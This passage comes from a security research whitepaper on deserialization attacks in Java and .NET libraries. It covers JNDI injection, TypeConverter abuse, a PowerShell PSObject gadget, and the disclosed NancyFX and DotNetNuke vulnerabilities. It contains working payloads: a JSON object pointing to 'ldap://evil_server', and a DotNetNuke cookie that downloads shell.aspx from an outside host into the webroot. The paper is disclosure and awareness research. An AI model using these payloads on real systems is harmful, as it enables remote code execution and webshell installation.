"name_":"ldap://evil_server/uid=somename,ou=someou,dc=somedc",
"providerUrl_":"ldap://evil_server"}
```

Source code:

```
public String  toString () {
     String ret = null;
     boolean local = checkSetup ();
    …
}
```

```
private boolean checkSetup (){
    txmgr_ = TransactionManagerImp.getTransactionManager ();

    if ( txmgr_ == null ) {

        try {
            Hashtable env = new Hashtable ();
            env.put (
Context.INITIAL_CONTEXT_FACTORY,initialContextFactory_ );
            env.put ( Context.PROVIDER_URL, providerUrl_ );
            Context ctx = new InitialContext ( env );
            txmgrServer_ = (UserTransactionServer)
PortableRemoteObject.narrow ( ctx.lookup ( name_ ),
UserTransactionServer.class );
        } catch ( Exception e ) {
            e.printStackTrace ();
            throw new RuntimeException ( getNotFoundMessage () );
        }
        if ( txmgrServer_ == null )
            throw new RuntimeException ( getNotFoundMessage () );
    }
    return txmgr_ != null;
}
```

Attack vector:

JNDI lookup (see "Notes about JNDI attack vectors")

Availability:

Available in the following Maven Central packages/versions:

- com.atomikos / transactions-jta
    - 3.x – latest

Notes about JNDI attack vectors

After reporting our previous research about JNDI Injection [11] to Oracle, a new property was added to the JDK on update 121 [12] which disables remote class loading via JNDI object factories stored in naming and directory services by

[11] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[12] http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html

default. However, the fix is not yet complete and it only affected those JNDI lookups against RMI registries and COS naming services, leaving the LDAP vector still functional (both the JNDI reference and deserialization approaches).

TypeConverters

During our review of JSON unmarshallers and .NET formatters, we noticed that some of them (for example Json.Net and `ObjectStateFormatter/LosFormatter`) use an additional way for reconstructing objects of Types annotated with the `[TypeConverter]` annotation [13]. For example, if we have:

```
[TypeConverter(typeof(MyClassConverter))]
public class MyClass {
   …
}
```

Unmarshaller will use `ConvertFrom()` method of `MyClassConverter` for reconstructing a `MyClass` instance from the string. Such custom type converter can be used for getting arbitrary code execution along with other gadget types such as property setters or deserialization callbacks. We found a couple of examples of these type converters that can lead to arbitrary code execution.

```
//
Microsoft.VisualStudio.ExtensionManager.XamlSerializationWrapperConv
erter
public override object ConvertFrom(ITypeDescriptorContext context,
CultureInfo culture, object value)
{
    string text = value as string;
    if (text != null)
    {
        try
        {
            StringReader input = new StringReader(text);
            object value2;
            using (XmlTextReader xmlTextReader = new
XmlTextReader(input))
            {
                value2 = XamlReader.Load(xmlTextReader);
            }
   …
}
```

Type converters can be used to transaction from one deserializer/formatter to another. For example, `EndpointCollectionConverter` can bridge to BinaryFormatter:

```
//
Microsoft.VisualStudio.Modeling.Diagrams.EndpointCollectionConverter
public override object ConvertFrom(ITypeDescriptorContext context,
CultureInfo culture, object value)
{
    string text = value as string;
    if (text != null)
    {
        text = text.Trim();
   ...
        EdgePointCollection edgePointCollection2 = null;
```

[13] https://msdn.microsoft.com//library/system.componentmodel.typeconverter(v=vs.110).aspx

```
        if
(SerializationUtilities.TryGetValueFromBinaryForm<EdgePointCollectio
n>(text, out edgePointCollection2) && edgePointCollection2 != null)
   ...
}
```

And

```
//Microsoft.VisualStudio.Modeling.SerializationUtilities
public static bool TryGetValueFromBinaryForm<T>(string input, out T
output)
{
    output = default(T);
    bool result = false;
    if (input != null)
    {
        try
        {
            byte[] array = Convert.FromBase64String(input);
            if (array.Length == 0)
            {
                try
                {
                    output = (T)((object)string.Empty);
                    result = true;
                    goto IL_AB;
                }
                catch (InvalidCastException)
                {
                    goto IL_AB;
                }
            }
            MemoryStream memoryStream = new MemoryStream();
            memoryStream.Write(array, 0, array.Length);
            memoryStream.Position = 0L;
            if (array.Length > 7 && array[3] == 60 && array[4] == 63
&& array[5] == 120 && array[6] == 109 && array[7] == 108)
            {
      …
            }
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            try
            {
                output =
(T)((object)binaryFormatter.Deserialize(memoryStream));
                result = true;
            }
       …
}
```

In additional to the mentioned annotated Types, Json.Net has its own `TypeConverters` that can work with Types without this annotation.

For example `EntityKeyMemberConverter` will be used for unmarshalling of `System.Data.EntityKeyMember` Type or any derived Type:

```
//Newtonsoft.Json.Converters.EntityKeyMemberConverter
public override bool CanConvert(Type objectType)
```

```
{
return
objectType.AssignableToTypeName("System.Data.EntityKeyMember");
}
```

This converter tries to deserialize “Value” property as Type specified in “Type” property.

```
//Newtonsoft.Json.Converters.EntityKeyMemberConverter
public override object ReadJson(JsonReader reader, Type objectType,
object existingValue, JsonSerializer serializer)
{
      EntityKeyMemberConverter.EnsureReflectionObject(objectType);
      object obj =
EntityKeyMemberConverter._reflectionObject.Creator(new object[0]);
      EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Key");
      reader.ReadAndAssert();
      EntityKeyMemberConverter._reflectionObject.SetValue(obj,
"Key", reader.Value.ToString());
      EntityKeyMemberConverter.ReadAndAssertProperty(reader,
"Type");
      reader.ReadAndAssert();
      Type type = Type.GetType(reader.Value.ToString());
      EntityKeyMemberConverter.ReadAndAssertProperty(reader,
"Value");
      reader.ReadAndAssert();
      EntityKeyMemberConverter._reflectionObject.SetValue(obj,
"Value", serializer.Deserialize(reader, type));
      reader.ReadAndAssert();
      return obj;
}
```

Note that it will work even if `TypeNameHandling = None`. Therefore, if expected Type has a property that can be processed by this Type converter the application will be vulnerable.

Similar Research

On May 22, Moritz Bechler published a paper [14] containing a research with similar premises and conclusions. This research was done independently and published after our research was accepted for BlackHat and abstract was published online. We could not publish our paper before our talks at BlackHat/Defcon per their request.
The paper focuses exclusively in Java and overlaps with our research on Jackson and JSON-IO library (although we found different vector for this library). It also overlaps in that we found the same `JdbcRowSetImpl.setAutoCommit()` gadget but, in addition, Moritz presents other interesting gadgets in third-party Java libraries.

[14] https://github.com/mbechler/marshalsec

.NET deserialization attacks

Attacks on .NET `BinaryFormatter` serialization are not new. James Forshaw already introduced them at BlackHat 2012 [15] along with `NetDataContractSerializer`. However, no gadgets leading to arbitrary code execution were found at that time. Some years later Alexander Herzog presented a new formatter (`LosFormatter`) which could also be vulnerable to arbitrary code execution [16]. Still no gadgets were found to achieve code execution upon deserialization of untrusted data using these formatters. The first possibility of a RCE gadget was introduced by Florian Gaultier [17] which presented a code execution gadget via a memory corruption. Unfortunately, the gadget was not published and memory corruption is not a stable way of getting remote code execution since it depends on several factors and mitigations techniques.

After researching RCE gadgets for Java deserialization, we decided to give .NET a try and look for a RCE gadget that could allow exploitation of these 3 vulnerable formatters. We found a type available in the Windows GAC, meaning no third-party requirements are required for exploitation, which leaded to arbitrary code execution via arbitrary method calls.

Update: Recently and after this research work was finished, accepted for BlackHat and Defcon and its abstract published on the Blackhat site, James Forshaw of the Google Project Zero team, published two gadgets that lead to remote code execution and that could be used to attack the 3 known vulnerable formatters [18].

In this section, we will present other .NET native formatters which may also lead to remote code execution and will present the details of the gadgets we found which can be used to attack these formatters.

Review of known dangerous .NET formatters

System.Runtime.Serialization.Formatters.Binary.BinaryFormatter

It is the most powerful native formatter but limited to serialize those types that are annotated with the `System.SerializableAttribute` attribute. If serialized types implements the `System.Runtime.Serialization.ISerializable` interface, the `(SerializationInfo info, StreamingContext context)` constructor overload will be invoked during deserialization. In addition, if type implements the `System.Runtime.Serialization.IDeserializationCallback` interface, the `OnDeserialization(Object)` method will be called upon deserialization. Also deserializer will call methods annotated by `System.Runtime.Serialization.OnDeserializingAttribute`[19] or `System.Runtime.Serialization.OnDeserializedAttribute`[20]. All mentioned callbacks can be used as the entrypoint for the deserialization attack.

It is possible to limit which types can be deserialized by using a `System.Runtime.Serialization.SerializationBinder` which will control the class loading process during deserialization. This can be effectively used to prevent deserialization of non-expected types.

`BinaryFormatter` is capable of serializing types that were not designed to be serialized such as types with private setters, no default constructors, no Serialization attribute, dictionaries, etc. In order to allow the serialization of these types an instance of a serialization surrogate (`System.Runtime.Serialization.ISerializationSurrogate`) can be configured in the `BinaryFormatter`. The surrogate implements a pair of `GetObjectData` and `SetObjectData` that will be called during serialization and deserialization to customize the data being serialized/deserialized. Note that as long as the surrogate type is available in the deserializing CLR, an attacker can use it as an additional way to trigger its payload.

---

[15] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
[16] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20
[17] https://blog.scrt.ch/2016/05/12/net-serialiception/
[18] https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html
[19] https://msdn.microsoft.com/en-us/library/system.runtime.serialization.ondeserializingattribute(v=vs.110).aspx
[20] https://msdn.microsoft.com/en-us/library/system.runtime.serialization.ondeserializedattribute(v=vs.110).aspx

James Farshow found a `SurrogateSelector` with a preloaded `SerializationSurrogate` that was designed to serialize non-serializable types [21]. This effectively means that attackers can use any type on their gadgets chains and they are no longer limited to serializable annotated types.

System.Runtime.Serialization.NetDataContractSerializer
Introduced as part of WCF, it extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter` does but is not limited to those and can also extend regular types that can be serialized by `XmlObjectSerializer`. From an attacker point of view, it offers the same attack surface as `BinaryFormatter`.

System.Web.UI.LosFormatter
This formatter is internally used by Microsoft Web Forms pages to serialize view state. It uses `BinaryFormatter` internally and therefore offers similar attack surface.

Other .NET formatters that we found to be vulnerable

During our research, we analyzed the following native formatters:

System.Runtime.Serialization.Formatters.Soap.SoapFormatter
This formatter serializes objects to and from SOAP XML format. It is similar to `BinaryFormatter` in a number of ways; they both implement `IFormatter` interface and serialize only `[Serializable]` annotated types. They both can use surrogates to handle custom serialization and binders to control type loading. Both will invoke similar methods upon deserialization which include setters, `ISerializable` Serialization constructor, `OnDeserialized` annotated methods and `IDeserializationCallback's OnDeserialization` callback.
We can conclude that both are as powerful and gadgets for `BinaryFormatter` will be able to be used for `SoapFormatter`.

System.Web.Script.Serialization.JavaScriptSerializer
Already covered in JSON Libraries section.

System.Web.UI.ObjectStateFormatter

Used by `LosFormatter` as a binary formatter for persisting the view state for Web Forms pages. It uses `BinaryFormatter` internally and therefore offers similar attack surface. In addition, it uses `TypeConverters` so there is an additional surface for attacks.

System.Runtime.Serialization.Json.DataContractJsonSerializer
Already covered in the Json Libraries section.

System.Runtime.Serialization.DataContractSerializer

`DataContractSerializer` is probably the serializer that better balances serialization capabilities and security. It does so by inspecting the object graph of the expected type and limiting deserialization to only those that are in use. Since an initial inspection is done before looking at the objects coming through the wire, it won't be able to serialize types which contain generic Object members or other dynamic types which are not known during the construction of serializer. This limitation makes it suitable to handle untrusted data unless any of the following scenarios apply:

1 - Using a weak type resolver

[21] https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

`DataContractSerializer` can be configured to use a type resolver which will help overcome the original limitation of dealing with unknown types at construction time. It does so by annotating which types are serialized and remembering them in a shared resource to be used by the deserializer later. A type resolver can be securely implemented to only handle the required dynamic types or polymorphic types and not depending on data in the serialized XML to reconstruct these types during deserialization. However, it can also be configured to handle any types in a similar way to what `BinaryFormatter` and `NetDataContractSerializer` do. This behavior is the one shown in the `DataContractResolver` documentation page [22] with a security warning around it. Using a weak resolver such as the one showed in this documentation, will allow attackers to instantiate arbitrary types and gain remote code execution.

2 - Using user controlled expected type or member in `knownTypes` list

The security of the deserializers relies on the fact that it inspects and trusts the type passed to its constructor. If attackers can control the expected type, they will be able to make the deserializer trust any object graph and therefore set the grounds to inject their payload and gain remote code execution. A quick look at popular open source code repos such as Github showed that is not that strange to find `DataContractSerializers` constructed with untrusted types.

```
Type objType = Type.GetType(message.Label.Split('|')[1], true,
true);

DataContractSerializer serializer = new
DataContractSerializer(objType);
serializer.ReadObject(message.BodyStream);
```

Upon deserialization, `DataContractSerializer` will invoke multiple methods which can be used to initiate an RCE gadget chain such as setters and serialization constructors.

System.Xml.Serialization.XmlSerializer

It is similar to `DataContractJsonSerializer` and `DataContractSerializer` in that it will inspect the expected type at construction time and create an ad-hoc serializer that will only know about those types appearing in the object graph. It is even more restricted as it will fail to deserialize Types containing interface members or System.Type members, for example. In addition, it does not use type resolvers as `DataContractSerializer` does, so the only vulnerable configuration for this deserializer is when attacker can control the expected type in a similar way to what we showed for `DataContractSerializer`.

From an attacker perspective, overcoming the type limitation can be a problem, but we will show later that this can be done with some sharp tricks. As a conclusion, these limitations are not enough to make `XmlSerializer` secure when expected type is user controlled.

Searching through GitHub shows that this is not a rare configuration. We will show how this is the case for a popular CMS in "Example: DotNetNuke Platform (CVE-2017-9822)".

System.Messaging.XmlMessageFormatter
It is the default formatter used by MSMQ. It uses `XmlSerializer` internally and therefore it is vulnerable to same attack patterns.

System.Messaging.BinaryMessageFormatter

Used by MSMQ as a binary formatter for sending messages to queues. It uses `BinaryFormatter` internally and therefore offers similar attack surface.

[22] https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.datacontractresolver?view=netframework

New RCE gadgets

System.Management.Automation.PSObject [23]

This Type is deployed on Wondows GAC when Powershell v3.0 or higher is installed which is common since it comes pre-installed in modern windows versions.

The `PSObject` serialization constructor calls a second layer of deserialization with attacker controlled data (CliXml):

```
// System.Management.Automation.PSObject
private object lockObject = new object();
protected PSObject(SerializationInfo info, StreamingContext context)
{
      if (info == null)
      {
            throw PSTraceSource.NewArgumentNullException("info");
      }
      string text = info.GetValue("CliXml", typeof(string)) as
string;
      if (text == null)
      {
            throw PSTraceSource.NewArgumentNullException("info");
      }
      PSObject pSObject =
PSObject.AsPSObject(PSSerializer.Deserialize(text));
      this.CommonInitialization(pSObject.ImmediateBaseObject);
      PSObject.CopyDeserializerFields(pSObject, this);
}
```

Which calls the following methods (the last 2 methods will be called if the deserialized `PSObject` wraps `CimInstance`):

- `PSDeserializer.DeserializeAsList()`
- `System.management.automation.Deserializer.Deserialize()`
- `System.Management.Automation.InternalDeserializer.ReadOneObject()`
- `System.Management.Automation.InternalDeserializer.RehydrateCimInstance()System.Management.Automation.InternalDeserializer.RehydrateCimInstanceProperty()`

```
// System.Management.Automation.InternalDeserializer
private bool RehydrateCimInstanceProperty(CimInstance cimInstance,
PSPropertyInfo deserializedProperty, HashSet<string>
namesOfModifiedProperties)
{
…
object obj = deserializedProperty.Value;
if (obj != null)
{
      PSObject pSObject = PSObject.AsPSObject(obj);
      if (pSObject.BaseObject is ArrayList)
      {
```

[23] https://msdn.microsoft.com/es-es/library/system.management.automation.psobject(v=vs.85).aspx

```
            if (pSObject.InternalTypeNames == null ||
pSObject.InternalTypeNames.Count == 0)
            {
                  return false;
            }
            string text2 =
Deserializer.MaskDeserializationPrefix(pSObject.InternalTypeNames[0]
);
            if (text2 == null)
            {
                  return false;
            }
            Type type;
            if (!LanguagePrimitives.TryConvertTo<Type>(text2,
CultureInfo.InvariantCulture, out type))
            {
                  return false;
            }
            if (!type.IsArray)
            {
                  return false;
            }
            object obj2;
            if (!LanguagePrimitives.TryConvertTo(obj, type,
CultureInfo.InvariantCulture, out obj2))
            {
                  return false;
            }
…
```

In this method, it is possible to provide any arbitrary public Type as `ElementType` for Array and the next line will be executed with this Type:

```
if (!LanguagePrimitives.TryConvertTo(obj, type,
CultureInfo.InvariantCulture, out obj2))
```

This method will then call ConvertEnumerableToArray()

```
// System.Management.Automation.LanguagePrimitives
private static object ConvertEnumerableToArray(object
valueToConvert, Type resultType, bool recursion, PSObject
originalValueToConvert, IFormatProvider formatProvider, TypeTable
backupTable)
{
    object result;
```

```
    try
    {
        ArrayList arrayList = new ArrayList();
        Type type = resultType.Equals(typeof(Array)) ?
typeof(object) : resultType.GetElementType();
        LanguagePrimitives.typeConversion.WriteLine("Converting
elements in the value to convert to the result's element type.", new
object[0]);
        foreach (object current in
LanguagePrimitives.GetEnumerable(valueToConvert))
        {
            arrayList.Add(LanguagePrimitives.ConvertTo(current,
type, false, formatProvider, backupTable));
        }
        result = arrayList.ToArray(type);
}
```

It takes each element of the attacker controlled property value and tries to convert it to `ElementType` by calling `LanguagePrimitives.ConvertTo()` which calls `LanguagePrimitives.FigureConversion()`. This method tries to find the proper way for deserialization of various types. There are many attack vectors including:

- Call the constructor of any public Type with 1 argument (attacker controlled)

```
// System.Management.Automation.LanguagePrimitives
internal static LanguagePrimitives.PSConverter<object>
FigureConstructorConversion(Type fromType, Type toType)
{
…
      ConstructorInfo constructorInfo = null;
      try
      {
            constructorInfo = toType.GetConstructor(new Type[]
            {
                  fromType
            });
      }
…
```

- Call any setters of public properties for the attacker controlled type

```
// System.Management.Automation.LanguagePrimitives
internal static LanguagePrimitives.ConversionData
FigureConversion(Type fromType, Type toType)
{
…
      else if (typeof(IDictionary).IsAssignableFrom(fromType))
      {
      ConstructorInfo constructor =
toType.GetConstructor(Type.EmptyTypes);
      if (constructor != null || (toType.IsValueType &&
!toType.IsPrimitive))
      {
            LanguagePrimitives.ConvertViaNoArgumentConstructor
@object = new
```

```
LanguagePrimitives.ConvertViaNoArgumentConstructor(constructor,
toType);
            pSConverter = new
LanguagePrimitives.PSConverter<object>(@object.Convert);
            conversionRank = ConversionRank.Constructor;
      }
…
```

```
//System.Management.Automation.LanguagePrimitives.ConvertViaNoArgumen
tConstructor
internal object Convert(object valueToConvert, Type resultType, bool
recursion, PSObject originalValueToConvert, IFormatProvider
formatProvider, TypeTable backupTable)
{
object result;
try
{
…
      else
      {
            IDictionary properties = valueToConvert as IDictionary;
            LanguagePrimitives.SetObjectProperties(obj, properties,
resultType, new
LanguagePrimitives.MemberNotFoundError(LanguagePrimitives.CreateMembe
rNotFoundError), new
LanguagePrimitives.MemberSetValueError(LanguagePrimitives.CreateMembe
rSetValueError), false);
      }
```

- Call the static public `Parse(string)` method of the attacker controlled type.

```
// System.Management.Automation.LanguagePrimitives
private static LanguagePrimitives.PSConverter<object>
FigureParseConversion(Type fromType, Type toType)
{
…
      else if (fromType.Equals(typeof(string)))
      {
            BindingFlags bindingAttr = BindingFlags.Static |
BindingFlags.Public | BindingFlags.FlattenHierarchy |
BindingFlags.InvokeMethod;
            MethodInfo methodInfo = null;
…
            try
            {
                  methodInfo = toType.GetMethod("Parse",
bindingAttr, null, new Type[]
                  {
                        typeof(string)
                  }, null);
            }
…
```

For the last case we can use `System.Windows.Markup.XamlReader.Parse()` to parse an attacker controlled Xaml code which can be used to call any public static method such as `Process.Start("calc.exe")`.

Example: NancyFX (CVE-2017-9785)

NancyFX [24] is a lightweight web framework based on Ruby's Sinatra. It uses a cookie called "NCSRF" to protect against CSRF attacks. This cookie contains a unique token and it is implemented as a `CsrfToken` instance serialized with `BinaryFormatter` and then base64 encoded. When visiting a site built with NancyFX and using CSRF protection, the site will set a cookie such as:

```
AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3Vs
dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJp
dHkuQ3NyZlRva2VuAwAAABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVh
dGVkRGF0ZT5rX19CYWNraW5nRmllbGQVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0C
AgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAAAAJ9FN3bma5ztsdODwQAAAAgAAAA
At9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA=
```

By submitting our `PSObject` payload encoded in base64 encoding, an attacker will be able to gain arbitrary code execution on the application server upon deserialization of the cookie.

Interestingly, the 2.x pre-released moved away from `BinaryFormatter` to make it compatible with .NET Core. 2.x version implemented a custom JSON parser which now emits cookies such as:

```
{"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"20
17-04-
03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213,
201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24
,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy,
Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”}
```

As readers can tell, the cookie includes a Type Discriminator that will be used to recreate the `CsrfToken` object. Since setters will be called on the reconstructed object and the framework won't check that deserialized object type, it is possible to gain remote code execution by using the setter approach we covered in the JSON section.

Report Timeline

Issue was reported on April 24

Fix was released on July 14

[24] https://www.nuget.org/packages/Nancy/

Can we extend the attack to other formats?

The presented the approach and gadgets that are not just JSON specific as we saw with the .NET formatters. These apply to any deserialization format since objects will need to be created and populated. This process, as we already saw, normally implies calling setters or deserialization constructors on reconstructed objects. Therefore, if format allows an attacker to control deserialized type, the same gadgets could be used to attack these formats.

We can summarize the requirements to attack any deserialization format in the following:

- An attacker can control type to be instantiated upon deserialization
- Methods are called on the reconstructed objects
- Gadget space is big enough to find types we can chain to get RCE

We will now present several formats which satisfy the previous requirements and that should never be used with untrusted data:

Examples

FsPickler (xml/binary)

Project Site: http://mbraceproject.github.io/FsPickler/

FsPickler is a serialization library that facilitates the distribution of objects across .NET processes. The implementation focuses on performance and supporting as many types as possible, where possible. It supports multiple, pluggable serialization formats such as XML, JSON and BSON; also included is a fast binary format of its own.

All formats supported by FsPickler include Type discriminators in the serialized data. It does, however, perform a strict type inspection which applies a type whitelist based on the expected type object graph. As we already saw for other formatters, if object graph contains a member whose type can be assigned any of the presented setter or serialization constructor gadgets, attackers will be able to gain remote code execution.

SharpSerializer

Project Site: http://www.sharpserializer.com/en/index.html

SharpSerializer is an open source XML and binary serializer for .NET Framework, Silverlight, Windows Phone, Windows RT (Metro) and Xbox360. It is meant to replace the native XmlSerializer by overcoming most of XmlSerializer limitations such as dealing with interface members, generic members, polymorphism, etc. To do that, it includes type discriminators in the serialize data and instantiate those types without a proper type control.

Wire/Hyperion

Project Site: https://github.com/akkadotnet/Hyperion

Hyperion is a custom binary serializer format designed for Akka.NET. It was designed to transfer messages in distributed systems, for example service bus or actor model based systems where it is common to receive different types of messages and apply pattern matching over those messages. If the messages do not carry over all the relevant type information to the receiving side, the message might no longer match exactly what your system expect. To do so, Hyperion includes type discriminators and do not perform any type control which let attackers specify arbitrary types to be instantiated. On those objects, setters, serialization constructors and callbacks will be invoked, allowing attackers to gain remote code execution.

Beware when rolling your own unmarshaller or wrapper

As with crypto or any security sensitive API, it is not recommended to roll you own format if you are not fully aware of the security risks of such APIs.

We already presented the vulnerable custom JSON parser developed to handle the CSRF cookies in NancyFX framework. Another good example is the wrapper around XmlSerializer developed by DotNetNuke (DNN) CMS.

Example: DotNetNuke Platform (CVE-2017-9822)

DNN offers the ability to save session information on a cookie called DNNPersonalization when the user has not log in yet. To do so, the developers implemented a custom XML format which looks like:

```
<profile>
  <item key="PropertyName" type="System.Boolean, mscorlib,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <boolean>false</boolean>
  </item>
</profile>
```

The framework extracts the `type` attribute from `item` tag and creates a new `XmlSerialization` deserializer using the extracted type as expected type.

Since we can control the expected type by providing any arbitrary type in the cookie, we may initialize any type and get the setters called. In practice, `XmlSerializer` has many limitations including not being able to serialize types with nested interface members. This limitation does not stop us from using our `ObjectDataProvider` gadget since it is `XmlSerializer` friendly, but there is another limitation stopping us from using `ObjectDataProvider`, it contains a `System.Object` member (`objectInstance`).

The way that `XmlSerializer` works is that at construction time, it inspects the object graph of the passed expected type and "learns" all the required types to serialize/deserialize objects. If the type contains a `System.Object` member, its type will not be known at runtime, and if not present in the whitelist of learnt types, the deserialization will fail. We need a way to force `XmlSerializer` to learn arbitrary types.

Fortunately for us, we can use parametrized types for that purpose. If, for example, we pass the expected type of `List<Process, ObjectDataProvider>`, the object graphs of List, Process and `ObjectDataProvider` will be inspected to build the whitelist.

Last problem to overcome is that Process is not serializable since it contains interface members, but that is not a big issue since we can use many other payloads other than `Process.Start()`.

Putting together these tricks we can craft a payload like the following to deploy a webshell:

```
<profile>
  <item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.F
ileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],
System.Data.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
```

```
        <MethodParameters>
          <anyType
xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
          <anyType
xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>
```

Report Timeline

Issues was reported on June 1st

Fix was released on July 6 [25]

[25] http://www.dnnsoftware.com/community/security/security-center

Conclusions

Serializers are security sensitive APIs and should not be used with untrusted data. This is not a problem specific to Java serialization, a specifc .NET formatter or any specific formats such as JSON, XML or Binary. All serializers need to reconstruct objects and will normally invoke methods that attackers will try to abuse to initiate gadget chains leading to arbitrary code execution.
In this whitepaper, we presented a comprehensive list of vulnerable libraries and formats which can be extended to other languages, formats and libraries. The results will probably be similar since the same premises will also apply. We also presented the requirements for serializers to be vulnerable to this kind of attacks with the main goal of raising awareness and equipping developers with better tools when chosing serialization libraries.